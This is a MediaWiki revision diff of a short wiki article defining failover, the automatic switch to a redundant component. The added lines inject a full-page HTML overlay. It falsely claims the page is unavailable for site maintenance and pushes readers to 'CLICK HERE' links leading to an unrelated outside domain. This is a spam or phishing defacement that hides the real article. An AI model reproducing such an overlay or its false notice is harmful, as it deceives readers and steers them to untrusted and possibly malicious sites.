Failover
From CasGroup
(New page: '''Failover''' means the automatic substitution of a functionally equivalent system component for a failed one: if one ''fails'' the other can take ''over''. The principle describes the tr...) |
|||
| Line 1: | Line 1: | ||
| + | ---- | ||
| + | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
| + | ---- | ||
| + | =[http://ehiqikag.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]= | ||
| + | ---- | ||
| + | =[http://ehiqikag.co.cc CLICK HERE]= | ||
| + | ---- | ||
| + | </div> | ||
'''Failover''' means the automatic substitution of a functionally equivalent system component for a failed one: if one ''fails'' the other can take ''over''. The principle describes the transfer of operation from a failed component to a similar, unused and [[Redundancy|redundant component]] to ensure uninterrupted functionality. It happens automatic without human intervention, and is often found and used in [[Fault Tolerance|fault-tolerant]] architectures. Necessary for successful failover techniques is high [[Redundancy|redundancy]]. | '''Failover''' means the automatic substitution of a functionally equivalent system component for a failed one: if one ''fails'' the other can take ''over''. The principle describes the transfer of operation from a failed component to a similar, unused and [[Redundancy|redundant component]] to ensure uninterrupted functionality. It happens automatic without human intervention, and is often found and used in [[Fault Tolerance|fault-tolerant]] architectures. Necessary for successful failover techniques is high [[Redundancy|redundancy]]. | ||
[[Category:Applied Principles]] | [[Category:Applied Principles]] | ||
